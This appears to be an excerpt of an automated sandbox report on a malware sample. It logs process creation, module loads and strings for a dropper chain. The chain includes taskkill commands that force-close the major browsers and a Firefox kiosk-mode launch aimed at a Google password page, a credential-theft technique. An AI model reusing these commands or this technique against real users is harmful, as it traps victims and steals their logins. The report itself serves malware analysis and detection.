Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: d015c0e328.exe, 00000007.00000003.2456809954.0000000005A28000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2457725925.00000000059F5000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583814622.0000000005D68000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584822075.0000000005D35000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2685061980.00000000053B4000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2716485397.0000000005381000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: d015c0e328.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: d015c0e328.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 9b8665be8a.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe "C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {838a75ce-a8ab-4e8d-98ff-05e12ade437a} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 20997e70110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4544 -parentBuildID 20230927232528 -prefsHandle 4536 -prefMapHandle 4532 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {303833e2-eb8f-43ab-bbd8-be87a075b7b8} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 209a9770510 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe "C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe "C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1952,i,12186298689786786715,13601563027851220895,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1996,i,15798700704678858623,3005821271752402680,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2028,i,793406942762232909,14917387105879316521,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2032,i,12538894136535135273,9759131612578208541,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1996,i,8503345725967394971,11529639262021301947,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe "C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe "C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {838a75ce-a8ab-4e8d-98ff-05e12ade437a} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 20997e70110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4544 -parentBuildID 20230927232528 -prefsHandle 4536 -prefMapHandle 4532 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {303833e2-eb8f-43ab-bbd8-be87a075b7b8} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 209a9770510 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1952,i,12186298689786786715,13601563027851220895,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1996,i,15798700704678858623,3005821271752402680,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2028,i,793406942762232909,14917387105879316521,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2032,i,12538894136535135273,9759131612578208541,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1996,i,8503345725967394971,11529639262021301947,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
